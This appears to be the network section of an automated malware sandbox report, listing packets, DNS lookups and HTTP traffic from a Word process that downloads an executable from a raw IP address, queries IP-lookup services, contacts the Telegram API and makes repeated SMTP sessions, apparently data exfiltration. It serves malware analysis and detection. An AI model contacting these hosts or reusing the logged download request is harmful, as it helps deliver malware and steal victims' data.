                                                                                                                                                        Jan 14, 2025 08:08:56.648334026 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.648389101 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.648394108 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.648554087 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.648554087 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.648621082 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.653188944 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653383017 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653394938 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653407097 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653497934 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653508902 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653578997 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653590918 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653642893 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653655052 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.653692007 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.914798021 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.915064096 CET52796443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:56.916379929 CET52796443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:56.916409016 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.916944027 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.918293953 CET52796443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:56.963334084 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.970212936 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.970278978 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:56.970720053 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.971836090 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:56.976594925 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.105381012 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.146377087 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:57.208379030 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.208539009 CET44352796149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.208710909 CET52796443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:57.210903883 CET52796443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:57.243046045 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.246212959 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:57.251044989 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.535113096 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.535423040 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:57.540374994 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.804460049 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:57.804800034 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:57.809658051 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.080132008 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.080380917 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.085300922 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.350265026 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.350534916 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.355401993 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.620207071 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.620800972 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.625608921 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.889446974 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.890117884 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.890119076 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.890119076 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.890542984 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:58.895006895 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.895021915 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.895296097 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:58.895332098 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:59.342308044 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:59.399319887 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:00.872505903 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:00.877542019 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:01.141957045 CET5875279446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:01.146328926 CET52794587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:01.147109985 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:01.152065039 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:01.152673960 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:02.700980902 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:02.701210022 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:02.706244946 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:02.995007992 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:02.995279074 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.000210047 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.272272110 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.272836924 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.277766943 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.419142008 CET5277780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:09:03.588330030 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.588395119 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.588613987 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.590033054 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.594901085 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.647211075 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.652076006 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.652241945 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.863740921 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:03.864582062 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:03.869424105 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.154298067 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.154642105 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.159498930 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.426363945 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.426616907 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.431454897 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.458950996 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.459332943 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.464221954 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.702104092 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.702461958 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.707405090 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.761010885 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.761173010 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.765958071 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.974396944 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:04.974751949 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:04.979630947 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.034001112 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.034425020 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.039326906 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.247562885 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.253221989 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.258111000 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.342052937 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.342070103 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.342212915 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.343513966 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.348268032 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.524480104 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.524805069 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.524897099 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.524974108 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.524974108 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.524974108 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.529720068 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529747009 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529882908 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529892921 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529905081 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529983044 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.529993057 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.530055046 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.530066013 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.530076981 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.619174957 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.625499964 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.630367994 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.817440033 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.865205050 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.914072990 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:05.914340019 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:05.919111967 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.184508085 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.184921026 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:06.189691067 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.460017920 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.460258007 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:06.465133905 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.731115103 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:06.731328011 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:06.736129045 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.002542019 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.002748966 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:07.007662058 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.274915934 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.275474072 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:07.275540113 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:07.275572062 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:07.275602102 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:07.280411005 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.280441999 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.280658960 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.280688047 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.561428070 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:07.630862951 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:09.091109037 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:09.095984936 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:09.361957073 CET5875283046.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:09.362395048 CET52830587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:09.363241911 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:09.368165016 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:09.368247032 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:10.523623943 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:10.523766041 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:10.528686047 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:10.830905914 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:10.831171036 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:10.836165905 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.102493048 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.103156090 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:11.108196974 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.396657944 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.396699905 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.397010088 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:11.400938988 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:11.405797005 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.669939041 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.671030998 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:11.676011086 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.960167885 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:11.960457087 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:11.965359926 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.230221033 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.230477095 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:12.235408068 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.503402948 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.504069090 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:12.509423971 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.773952961 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:12.774121046 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:12.779001951 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.043935061 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.044260979 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.049211025 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.313301086 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.313623905 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.313832045 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.313832045 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.313832045 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.313886881 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:13.318547964 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318696022 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318708897 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318730116 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318742037 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318805933 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318818092 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318907976 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318960905 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.318973064 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.767611980 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:09:13.818242073 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:09:14.047864914 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:10:24.679536104 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:10:24.684626102 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:24.951133013 CET5875278946.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:24.951828003 CET52789587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:10:35.163271904 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:10:35.168270111 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:35.436491013 CET5875281446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:35.437239885 CET52814587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:10:43.662379026 CET52866587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:10:43.667431116 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:43.932610989 CET5875286646.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:10:43.935902119 CET52866587192.168.2.446.151.208.21

                                                                                                                                                        UDP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jan 14, 2025 08:08:13.224683046 CET5257453192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:13.236855984 CET53525741.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:22.166136980 CET5890053192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET53589001.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.758105993 CET5797953192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET53579791.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.504534006 CET53596541.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.867299080 CET5059153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:36.873936892 CET53505911.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.660156965 CET6415153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:45.115178108 CET53641511.1.1.1192.168.2.4

                                                                                                                                                        DNS Queries

                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                        Jan 14, 2025 08:08:13.224683046 CET192.168.2.41.1.1.10x2e53Standard query (0)amazonenviro.comA (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.166136980 CET192.168.2.41.1.1.10x5eb0Standard query (0)checkip.dyndns.orgA (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.758105993 CET192.168.2.41.1.1.10xa216Standard query (0)reallyfreegeoip.orgA (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:36.867299080 CET192.168.2.41.1.1.10xa3dcStandard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:44.660156965 CET192.168.2.41.1.1.10xa0c1Standard query (0)mail.irco.com.saA (IP address)IN (0x0001)false

                                                                                                                                                        DNS Answers

                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                        Jan 14, 2025 08:08:13.236855984 CET1.1.1.1192.168.2.40x2e53No error (0)amazonenviro.com166.62.27.188A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.orgcheckip.dyndns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.com132.226.8.169A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.com193.122.130.0A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.com158.101.44.242A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.com193.122.6.168A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:22.172703028 CET1.1.1.1192.168.2.40x5eb0No error (0)checkip.dyndns.com132.226.247.73A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.16.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.64.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.112.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.96.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.80.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.32.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:23.765279055 CET1.1.1.1192.168.2.40xa216No error (0)reallyfreegeoip.org104.21.48.1A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:36.873936892 CET1.1.1.1192.168.2.40xa3dcNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                        Jan 14, 2025 08:08:45.115178108 CET1.1.1.1192.168.2.40xa0c1No error (0)mail.irco.com.sa46.151.208.21A (IP address)IN (0x0001)false

                                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                                        • amazonenviro.com
                                                                                                                                                        • reallyfreegeoip.org
                                                                                                                                                        • api.telegram.org
                                                                                                                                                        • 147.124.216.113
                                                                                                                                                        • checkip.dyndns.org

                                                                                                                                                        HTTP Packets

                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        0192.168.2.449737147.124.216.113807688C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:10.904203892 CET181OUTGET /albt.exe HTTP/1.1
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Accept: */*
                                                                                                                                                        Accept-Language: en-ch
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                        Host: 147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.440207958 CET1236INHTTP/1.1 200 OK
                                                                                                                                                        Content-Type: application/octet-stream
                                                                                                                                                        Last-Modified: Mon, 13 Jan 2025 01:10:58 GMT
                                                                                                                                                        Accept-Ranges: bytes
